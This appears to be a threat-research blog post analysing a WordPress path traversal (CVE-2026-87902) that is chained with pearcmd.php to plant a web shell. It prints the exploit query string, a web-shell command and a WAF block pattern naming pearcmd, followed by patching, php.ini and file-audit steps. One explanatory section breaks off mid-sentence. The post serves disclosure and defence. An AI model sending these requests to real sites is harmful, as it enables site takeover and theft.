Date: September 24, 2026
Author: Threat Research & Intelligence Team, Digital Spying
Category: Web Application Security / Zero-Day Vulnerability / Exploit Analysis
Tags: WordPress, CVE-2026-87902, Path Traversal, Local File Inclusion, Remote Code Execution, pearcmd, PHP Security
Executive Summary
Within hours of public disclosure on September 22–24, 2026, threat actors launched mass automated scanning and exploitation campaigns targeting CVE-2026-87902, a critical unauthenticated path traversal and local file inclusion (LFI) vulnerability residing in WordPress Core. As detailed by security advisories from Wordfence, The Hacker News, and vulnerability intelligence firm Hadrian, the flaw carries a CVSS score of 9.2 (Critical) and impacts millions of WordPress installations worldwide across versions up to and including WordPress 7.1.1.
The vulnerability allows remote, unauthenticated attackers to traverse directory boundaries within WordPress’s template-resolution logic (locate_template()), enabling arbitrary local PHP file inclusion without requiring login credentials.
Crucially, in-the-wild exploit traffic demonstrates that threat actors are actively chaining this path traversal vulnerability with legacy PHP artifacts—specifically pearcmd.php—under common server configurations where PHP’s register_argc_argv directive is enabled. By executing PEAR CLI management commands through HTTP query parameters, attackers are writing persistent PHP web shells into publicly accessible directories such as wp-content/uploads/, achieving full unauthenticated Remote Code Execution (RCE) and total site takeover.
Technical Deep-Dive: From Template Traversal to Arbitrary Code Execution
To understand the mechanics of CVE-2026-87902, we must analyze the interaction between WordPress's internal template routing and PHP environment variables.+-----------------------------------------------------------------------------------+
| CVE-2026-87902 EXPLOIT ATTACK CHAIN |
|---|
Unauthenticated Attacker WordPress Web Server (PHP-FPM)
| |
| 1. Dispatches crafted HTTP GET request with traversal parameters |
| and PEAR CLI arguments in query string: |
| `/?+config-create+/&template=../../../../usr/share/pear/pearcmd.php |
| &/+/var/www/html/wp-content/uploads/ |
| shell.php` |
|----------------------------------------------------------------------->|
| |
| | 2. `locate_template()` executes
| | - Missing path canonicalization!
| | - Traverses web root to system path
| | - Validates file exists on disk
| |
| | 3. `load_template()` triggers:
| | `require_once('/usr/share/pear/
| | pearcmd.php')`
| |
| | 4. `register_argc_argv = On`
| | - PHP parses query string into
| | `$_SERVER['argv']`
| | - `pearcmd.php` treats argv as CLI
| | command: `config-create`
| |
| | 5. PEAR CLI writes config file:
| | Creates `/var/www/html/wp-content/
| | uploads/shell.php` with PHP payload!
| |<-----------------------------------
| |
| 6. Attacker requests dropped web shell: |
| `POST /wp-content/uploads/shell.php (cmd=whoami; id)` |
|----------------------------------------------------------------------->|
| 7. Returns command output: `www-data` (Full Server Compromise) |
|<-----------------------------------------------------------------------|
1. Root Cause: Path Traversal in locate_template()
WordPress relies on locate_template() to search for template files within child themes, parent themes, and core fallback locations. The core function iterates through candidate template paths:function locate_template( $template_names, $load = false, $require_once = true, $args = array() ) {
$located = '';
foreach ( (array) $template_names as $template_name ) {
if ( ! $template_name ) {
continue;
}
// In vulnerable versions, raw user-influenced template names are concatenated
// without stripping path traversal sequences:
if ( file_exists( STYLESHEETPATH . '/' . $template_name ) ) {
$located = STYLESHEETPATH . '/' . $template_name;
break;
} elseif ( file_exists( TEMPLATEPATH . '/' . $template_name ) ) {
$located = TEMPLATEPATH . '/' . $template_name;
break;
} elseif ( file_exists( ABSPATH . WPINC . '/theme-compat/' . $template_name ) ) {
$located = ABSPATH . WPINC . '/theme-compat/' . $template_name;
break;
}
}
if ( $load && '' !== $located ) {
load_template( $located, $require_once, $args );
}
return $located;
}
Because file_exists() in PHP automatically resolves dot-dot-slash (../) directory traversal sequences, providing a path such as ../../../../usr/share/pear/pearcmd.php successfully bypasses theme directory boundaries and evaluates to true. Once identified, load_template() immediately calls require_once, executing the target file within the web server's PHP execution context.
2. Weaponization: Chaining LFI with pearcmd.php
A standard Local File Inclusion bug typically allows an attacker to execute pre-existing files. To turn LFI into arbitrary code execution without an existing file-upload primitive, adversaries frequently target PEAR (PHP Extension and Application Repository), which is pre-installed in numerous Docker containers (such as official PHP Docker library images), Linux distribution packages (Ubuntu/Debian php-pear), and cloud hosting stacks.
When PEAR is installed, /usr/share/pear/pearcmd.php or /usr/local/lib/php/pearcmd.php is available on the local disk.
The Role of register_argc_argv
By default in command-line PHP, $argc and $argv contain command-line parameters. However, when PHP is executed under FastCGI or PHP-FPM with register_argc_argv = On in php.ini, PHP extracts strings separated by + in the HTTP GET query string and populates $_SERVER['argv'].
When pearcmd.php is included via locate_template(), it reads $_SERVER['argv'] as if it were running in a terminal:argv[0] = index.php
argv[1] = config-create
argv[2] = /
argv[3] =
argv[4] = /var/www/html/wp-content/uploads/shell.php
The PEAR CLI command config-create
Global Impact & Attack Surface Analysis
The WordPress ecosystem represents an enormous target:
* Over 40% of the Web: WordPress powers over 43% of all top 10 million websites. A core vulnerability in template loading exposes tens of millions of domains.
* Rapid Weaponization: Honeypots maintained by Wordfence and Hadrian recorded active exploitation within three hours of disclosure.
* Automated Botnets: Attackers are deploying mass scanners scanning Class B and Class C IP blocks, targeting /?+config-create+ payloads to mass-infect WordPress instances for cryptomining, SEO spam redirection, and ransomware deployment.
Mitigation & Hardening Blueprint
Site administrators, hosting providers, and DevSecOps engineers must implement immediate countermeasures:
1. Apply WordPress Core Security Updates (Mandatory)
WordPress has released urgent point releases across all supported versions (including WordPress 7.1.2, 6.7.2, 6.6.3, and backports down to legacy branches). Ensure automatic background updates are enabled:# Using WP-CLI to update core immediately
wp core update
2. Disable register_argc_argv in php.ini
Disabling register_argc_argv completely neutralizes the pearcmd.php RCE technique:; In /etc/php/8.x/fpm/php.ini or /etc/php/8.x/apache2/php.ini
register_argc_argv = Off
Restart your PHP-FPM or Apache service after saving changes:sudo systemctl restart php8.3-fpm
3. Remove or Restrict pearcmd.php Files
If PEAR is not explicitly required in production, remove or restrict the CLI scripts:h
sudo rm -f /usr/share/pear/pearcmd.php /usr/share/pear/peclcmd.php
sudo rm -f /usr/local/lib/php/pearcmd.php /usr/local/lib/php/peclcmd.php
4. Deploy Web Application Firewall (WAF) Rules
Configure your Nginx, Cloudflare, or ModSecurity WAF to block requests attempting directory traversal or containing `pearcmd` references:
```nginx
Nginx snippet to block suspicious query arguments
if ($query_string ~* "(\.\./|\.\.\\|pearcmd|config-create)") {
return 403;
}
5. Post-Exploitation Integrity Audit
Check your wp-content/uploads/ folder for any newly generated .php files created in the last 48 hours:find /var/www/html/wp-content/uploads/ -type f -name "*.php" -mtime -2
Stay protected against emerging web vulnerabilities, exploit dissections, and threat intelligence reports at Digital Spying.